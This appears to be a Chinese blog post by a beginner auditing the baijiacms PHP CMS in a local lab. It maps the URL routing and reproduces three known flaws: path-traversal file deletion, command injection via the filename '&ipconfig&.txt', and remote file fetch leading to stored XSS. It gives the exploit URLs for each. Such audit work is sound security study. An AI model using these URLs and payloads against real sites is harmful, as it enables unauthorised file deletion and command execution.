初识php代审——baijiacms

百家CMS代码审计

1、环境准备

baijiacms

phpstudy8.1.1.3

apache2.4.39+mysql5.7.26+php5.3.29

2、搭建环境

先搭建一个百家数据库,为搭建站点做准备。

image-20250118121337302

直接使用phpstudy搭建好站点,并访问

image-20250118121423842

image-20250118121439768

连接数据库,并配置系统管理员

image-20250118121542074

然后就成功创建了image-20250118121750711

3、路由审计

路由关系是代码审计第一步,我们可以通过找到代码、目录与网站页面的对应关系,让我们更好的验证漏洞

先走一下基础流程,大概的看一下目录结构,有个大概的印象

image-20250118122331387

大概目录解释

1
2
3
4
5
6
7
8
addons     插件
api 接口
assets 静态文件
attachment 上传目录
cache 缓存目录
config 系统文件
include 系统文件
system 后端代码

开始找路由关系,一些根基比较深的cms,往往有自己独家的路由设置,有使用手册的话,还需要通过cms的使用手册上去梳理路由关系。但是有个小捷径,就是可以直接对比站点的url和源码的目录结构,这个方法很快,更便于理解。

我们点进修改密码功能点,然后看看url

image-20250118122757261

根据url中的关键字来找代码文件,直接全局检索”changepwd”,锁定到了三个文件

image-20250118123724137

然后再根据url中的”manage”关键字,多半就是第一个

1
2
3
baijiacms\system\manager\template\web\changepwd.php

http://baijiacms/index.php?mod=site&act=manager&do=changepwd&beid=1

所以url中的act就对应system目录下下的目录,do就是对于的文件,但是mod是什么,我们再看一下baijiacms\system\manager\template\web\changepwd.php,这个路径,都不存在mod传递的键值”site”,于是我直接修改一下mod参数的参数值为web,同时删除了beid参数

image-20250118211524553

结果还是正常访问,说明这里mod参数其实是文件的上一级目录,可能是开发的小心思,使用site可以平替web,现在我们就摸清路由关系了,如下

mod(目标文件上一级目录)、act(system下一级目录)、do(目标文件名)

4、漏洞审计

审计前言

一般的审计思路,分以下几种(经验浅显,还望大哥们斧正):

1、直接通过可控变量查看漏洞点,但是不推荐,因为cms中变量太多,单纯通过POST、GET传参的变量数不胜数,量大且效率低下。

2、直接通过危险函数审计,全局检索危险函数,再查看危险函数的相关参数是否可控,如果可控再次跟进是否可以利用,更有目的性,但还是比价耗时间。

3、结合黑盒的思路,也即是跟根据功能点查找,这个可以快速的找到入手点,但是检索不全面,会审计不全面。

4、直接分析目录的结构同时结合网站页面,搞明白每个目录、文件、参数传递的对于的网站功能,也就是差不多通读源码了,这个虽然很费时间,但是可以让审计更加得心应手,也比较能审一些深入的洞

迫于刚刚接触白盒审计,只能站在各位大佬的肩膀上,复现大佬们的漏洞点了。

漏洞1:任意目录及文件删除

通过全局检索关键删除文件函数unlink(),找到如下漏洞点

image-20250118180756069

继续跟进,发现了一个file_delete函数

image-20250118181139114

该函数的大概流程是

1、empty函数判断文件是否为空,如果为空就返回true

2、$settings[‘system_isnetattach’],这是一个系统设置(此处就是是否开始了oss、ftp存储文件,为1则是开启了),empty($settings[‘system_isnetattach’]),判断系统设置为空则返回true,加上!,则是设置为空时,就跳过以下的代码(用来删除oss、ftp中存储的文件)

3、此时直接跳转到,判断如下:判断是否文件存在,则可以触发删除函数unlink(),同时发现没有对$file_relative_path,做任何过滤。

1
2
3
if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
return true;

通过全局检索file_delete(,跳转到使用该函数的代码块

定位到uploadeuploader.phpimage-20250118200850062

查看其代码逻辑

image-20250118200927137

根据文件名和初步判断,这个文件大概分为两个部分,当$operation为upload时,进行文件上传操作;为remove时就会调用file_delete()函数,但是文件名变量使用$_GPC[‘file’],这种形式怪怪的,没有见过,我们该怎么传参呢?

这个其实是该CMS特殊的定义,我们就看看其定义:

image-20250118202723838

没错,这个是global定义的变量,这使得php函数内部可以访问函数外部的全局变量,肯定也不乏超全局变量,所以索性我们就直接使用GET传参就行了。

除此之外还需要满足条件

1
($operation == 'remove')

而该operation变量,也通过使用global定义

image-20250118203047159

我们也就可以再次使用GET传参

漏洞1验证

为了验证漏洞我们在根目录baijiacms下创建一个test.txt文件

image-20250118205328190

然后根据文件判断漏洞路由,构造URL来验证即可,uploader.php文件的路径为

1
baijiacms\system\eshop\core\mobile\util\uploader.php

根据我们之前的路由判断

1
http://baijiacms/index.php?mod=util&act=eshop&do=uploader&op=remove&file=test.txt

应该就可以实现任意文件删除了

image-20250118205511248

失败了?不,难道是test.txt的路径不对?我们网站的各个页面是基于system目录下的,而我们的test.txt文件和system目录同属baijiacms根目录下的,我们加个相对路径试一试,不过我们还是最好加一个回显,判断漏洞验证成功

image-20250118205845864

使用以下payload再试一试

1
http://baijiacms/index.php?mod=util&act=eshop&do=uploader&op=remove&file=../test.txt

还是回显为空!

image-20250118210428321

哪一步出了问题?经过再次在网站上点点点,发现还有一种路由方式,我勒个豆!

image-20250118210726044

出现了多余的m参数,于是我们再翻一翻目录结构

image-20250118211059903

根据url找到了,上述目录及其文件,再根据php文件中,含有评论关键词与web界面的评论管理的匹配度,大概确定,就是这个路径了。根据上述再次梳理路由,url参数

mod(目标文件上两级目录)、act(目标文件名)、do(目标文件上一级目录)、m(system下的目录)

于是我们再次构造payload

1
http://baijiacms/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=test.txt

成功删除文件

image-20250118212723814

真的如此吗?

image-20250118213015658

真的难缠,还是没有成功删除,为什么?因为根据上面的函数执行逻辑可知,这个函数确实执行了,但是开发疏忽了,无论目标文件是否存在都会这样回(此时可以在原函数再加个回显,但是我们不是开发,就不必在乎了),我们再使用../相对路径,看能否删除

image-20250118213528864

再看,嗯嗯对啦,删除了

image-20250118213605956

漏洞2:命令执行

针对命令执行,我们关注的函数肯定是evalsystemexec这几个,所以接下来就尝试去利用全局搜索来寻找可疑点。

通过检索system函数,找到如下结果

image-20250118220103639

其函数在一个file_save函数中,找到可控变量file_full_path(文件完整路径),就看一看如何触发system函数

image-20250118220128791

主要是让(!empty($settings['image_compress_openscale']))判断为true,同时根据上面setting的由来”globaSystemSetting()”,其实setting变量就是存储系统设置的一个数据,这个设置需要我们从web界面中去勾选,所以现在就是要定位这个设置的页面在哪

我们直接全局检索”image_compress_openscale”

image-20250118221846095

锁定文件netattach.php文件,应该就是设置页面,根据构造路由直接去访问

其路径为baijiacms\system\manager\template\web\netattach.php

构建url:

1
http://baijiacms/index.php?mod=web&act=manager&do=netattach

然后如下开启即可

image-20250118222956999

好,现在我们就可以从file_save中接触到system方法了,现在需要file_save被调用的情况。全局检索,发现在setting.php中

image-20250118223149127

看一下代码逻辑

image-20250118223333555

要先使checksubmit()函数返回为true,然后才能触碰到下一个判断”$extention==’txt’”,才会执行到file_save函数,所以我们跟踪checksubmit(),如下

image-20250118224024064

我们只需要保证不进入第一个if(if (!empty($action)&&empty($_GP[$action]))),然后后面随便满足一个即可,第一个判断的逻辑:

如果传入的 $action 非空,并且 $_GP[$action] (即请求中的某个参数)为空,返回 FALSE。即检查相关操作是否存在,若不存在则返回 FALSE

第二个判断是否为get请求,该函数默认变量$allowget为false,肯定就不会让其判断为真

第三个判断是否为Ajax请求,并且用global定义的变量来判断,我们可以直接GET传参即可

现在到下一个突破口$extention=='txt'

image-20250118225531949

先看extention变量来源于一个文件,应该是页面有个文件上传功能点,extention变量经历了pathinfo函数,该函数就是一个取得文件后缀名的一个函数,然后对后缀名进行小写,判断后缀名是不是txt,所以我们只需要上传一个txt文件就可以判断为真。

image-20250118225945014

从而调用到file_save函数

1
file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);

其中的WEB_ROOT.”/“.$file[‘name’],对应之前的可控变量$file_full_path,所以我们只需要把文件名当作命令,并进行适当闭合,就可以实现命令执行了,开始实践

漏洞2验证

查看漏洞文件路径

1
baijiacms\system\weixin\class\web\setting.php

构造url:

1
http://baijiacms/index.php?mod=web&act=weixin&do=setting

的确有一个上传接口

image-20250118230744362

并构建一个闭合的命令执行的文件:&ipconfig&.txt,如下构造

image-20250118231036243

然后直接提交,成功命令执行

image-20250118231328195

不过要插一句这里文件上传,并提交的过程中,应该就是使用的ajax发送的请求,也就不需要再使用GET传入参数isajax=1

漏洞3:任意文件上传

直接定位文件上传函数:move_uploaded_file

image-20250118233334173

image-20250118233639641

但是它是在ExcelModel类中,并且这个类并没有被实例化,就没有深究下去,于是检索了一下关键字upload(

image-20250119002109878

image-20250119004852304

白名单,而且过滤写得很死,几乎没什么机会

继续寻找,寻到了fetch_net_file_upload函数方法

image-20250119005126057

逻辑如下:使用pathinfo函数,获取了一个文件后缀名,创建文件夹,以<文件名/年/月>的形式,然后生成随机的文件名,构建文件路径,根据url下载文件,并保存文件。没有什么过滤。

查看fetch_net_file_upload函数调用关系

image-20250119012650205

查看file.php

image-20250119012724804

要执行fetch_net_file_upload,要先$do == ‘fetch’(GET传参op=fetch),然后传参url即可实现任意文件上传

漏洞3验证

老规律定位路由

1
baijiacms\system\public\class\web\file.php

构造payload

1
http://baijiacms/index.php?mod=web&act=public&do=file&op=fetch&url=http://cmseasy/phpinfo.php

image-20250119014233667

访问,成功getshell!

image-20250119014114999

本地以为就这么getshell,结果回头一瞧。哥们就这么水灵灵被当作前端代码,给露出来了

image-20250119023515937

只能得到一个存储xss

修改phpinfo.php文件中的内容

image-20250119023833014

image-20250119023859170

总结

初识审计,学到了很多!如何比较快速地寻找路由,审计的大概思路和顺序,对之后的审计也越来越自信了,不过还是很缺乏独自挖掘漏洞的能力,所以还是要多看看大佬们的审计文章,努力赶上佬们!!!


初识php代审——baijiacms
http://example.com/2025/01/19/初识php代审——baijiacms/
作者
Yf3te
发布于
2025年1月19日
许可协议